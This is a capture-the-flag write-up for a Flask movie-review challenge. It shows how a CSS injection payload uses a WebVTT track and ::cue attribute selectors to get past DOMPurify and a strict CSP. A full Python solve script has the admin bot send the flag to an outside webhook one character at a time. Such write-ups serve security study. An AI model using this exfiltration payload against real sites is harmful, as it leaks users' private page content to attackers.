This chall involves a Flask server that handles movie reviews.
Based on the admin bot report functionality, we can conclude that this is a XSS challenge.
@app.route("/report", methods=["GET", "POST"])
def report():
log_visit()
if request.method == "POST":
path = request.form.get("path")
if not path:
return render_template("report.html", msg="fail")
if path.startswith("/"):
path = path[1:]
url = f"http://127.0.0.1/{path}"
if check_url(url):
return render_template("report.html", msg="success")
else:
return render_template("report.html", msg="fail")
else:
return render_template("report.html")
def check_url(url):
try:
service = Service(ChromeDriverManager().install())
options = webdriver.ChromeOptions()
options.add_argument("--headless=new")
options.add_argument('--no-sandbox')
options.add_argument('--disable-dev-shm-usage')
options.add_argument('--disable-gpu')
options.add_argument('--disable-features=BlockInsecurePrivateNetworkRequests')
options.add_argument('--incognito')
driver = webdriver.Chrome(service=service, options=options)
driver.set_page_load_timeout(3)
driver.get(url)
sleep(1)
return True
except Exception as e:
return False
finally:
driver.quit()Another big hint about the nature of the challenge lies in the CSP headers being set on the requests.
The CSP only allows same-origin scripts and a DOMPurify@3.1.6 script, but enforces virtually no restrictions on CSS with style-src 'unsafe-inline'. This heavily hints at a CSS injection XSS vector.
@app.after_request
def set_headers(response):
csp = (
"script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.6/purify.min.js; "
"style-src 'unsafe-inline'; "
"font-src 'none'; "
"media-src 'self';"
)
response.headers['Content-Security-Policy'] = csp
response.headers['X-Frame-Options'] = 'DENY'
response.headers['Document-Policy'] = 'force-load-at-top'
response.headers['Cache-Control'] = 'no-store'
return responseThe main functionality in the webpage is in the /review endpoint, which makes it a rather unconventional XSS setup.
/review allows us to supply a string, which it will prepend to the flag text when the admin bot visits the endpoint, then serve the final string as a text file.
There are a bunch of checks regarding the user-supplied string, but we don't have to concern ourselves with them for now.
@app.route('/review', methods=["GET"])
def review():
log_visit()
text = request.args.get('text', '')
if not isinstance(text, str):
return 'string... plz', 200
if len(text) < 20:
return 'Tooooo short... plz', 200
if len(text) > 50:
return 'Tooooo long... plz', 200
for char in text:
char_code = ord(char)
if (char_code < 9 or (char_code > 13 and char_code < 32) or char_code > 127):
return 'ASCII...plz', 200
if request.remote_addr == '127.0.0.1':
response_text = f"{text} {FLAG}"
else:
response_text = f"{text} {REVIEWS}"
response = Response(response_text.encode('utf-8'))
response.headers['Content-Type'] = 'text/plain; charset=utf-8'
return responseIf we look at the frontend code, the index.html template includes a static script code.js.
code.js initialises a video frame, but also allows us to supply a XSS payload, which it sanitises with DOMPurify@3.1.6 and inserts into the <video> element.
document.addEventListener('DOMContentLoaded', (event) => {
const video = document.getElementById('cinemaVideo');
const playPauseBtn = document.getElementById('playPauseBtn');
const videoContainer = document.getElementById('videoContainer');
function togglePlayPause() {
if (video.paused) {
video.play();
playPauseBtn.textContent = 'Pause';
playPauseBtn.style.opacity = '0';
} else {
video.pause();
playPauseBtn.textContent = 'Play';
playPauseBtn.style.opacity = '0.8';
}
}
playPauseBtn.addEventListener('click', togglePlayPause);
video.addEventListener('play', () => {
playPauseBtn.textContent = 'Pause';
playPauseBtn.style.opacity = '0';
});
video.addEventListener('pause', () => {
playPauseBtn.textContent = 'Play';
playPauseBtn.style.opacity = '0.8';
});
videoContainer.addEventListener('mouseover', () => {
playPauseBtn.style.opacity = '0.8';
});
videoContainer.addEventListener('mouseout', () => {
if (!video.paused) {
playPauseBtn.style.opacity = '0';
}
});
video.play().catch(error => {
console.log("Autoplay was prevented. User interaction may be required to start the video.");
playPauseBtn.style.opacity = '0.8';
});
});
window.addEventListener('load', () => {
let params = new URLSearchParams(window.location.search);
let xss = params.get('xss');
let sanitize_xss = DOMPurify.sanitize(xss);
document.getElementById("cinemaVideo").innerHTML = sanitize_xss;
});If we do a bit of digging, we can find this chall, which has an almost identical setup.
Essentially, we load the flag text as a WebVTT subtitle file using the <track> tag, then use CSS selectors as an oracle to bruteforce the flag.
This exploit requires us to prepend WEBVTT%0d00:00.000-->00:30.000%0d<v to the subtitle file, which perfectly fits under the length constraints in /review from earlier.
We can adapt from the writeup, giving us the POC payload below.
An important thing to note is that since DOMPurify sanitises stuff like --> and stray <, we have to double URL-encode those in our payload to prevent DOMPurify from messing it up.
<track default src="/review?text=WEBVTT%0d00:00.000%2D%2D%3E00:30.000%0d%3Cv"/>
<style>
::cue(v[voice^="YISF{a"]){
background:url(<webhook>?e=YISF{a)
}
::cue(v[voice^="YISF{b"]){
background:url(<webhook>?e=YISF{b)
}
...
</style>Using an alphanumeric charset, we just have to continuously submit our payload to /report to exfiltrate each successive character in the flag to our webhook.
Below is my full solve script for this challenge.
import requests
from urllib.parse import quote
import string
url = 'http://host3.dreamhack.games:12595/'
s = requests.Session()
charset = string.ascii_letters + string.digits + '_}'
webhook = 'http://cvkivvu.request.dreamhack.games'
known = 'YISF{'
def gen_payload():
cands = []
for char in charset:
guess = known + char
cands.append('::cue(v[voice^="%s"]){background:url(%s?e=%s)}' % (guess, webhook, guess))
return f'<track default src="/review?text=WEBVTT%0d00:00.000-->00:30.000%0d%3Cv"/><style>{''.join(cands)}</style>'.replace('-->', '%2D%2D%3E')
payload = gen_payload()
res = s.post(f'{url}/report', data={
'path': f'?xss={quote(payload)}'
})
assert 'success' in res.text.lower()
print("> Reported payload")Flag: YISF{CsS_1NJECtiOn_4nD_html_iNjec7IOn_wITH_cue_AnD_7rACk_7O_1EAK_aNoTh3r_p4GE}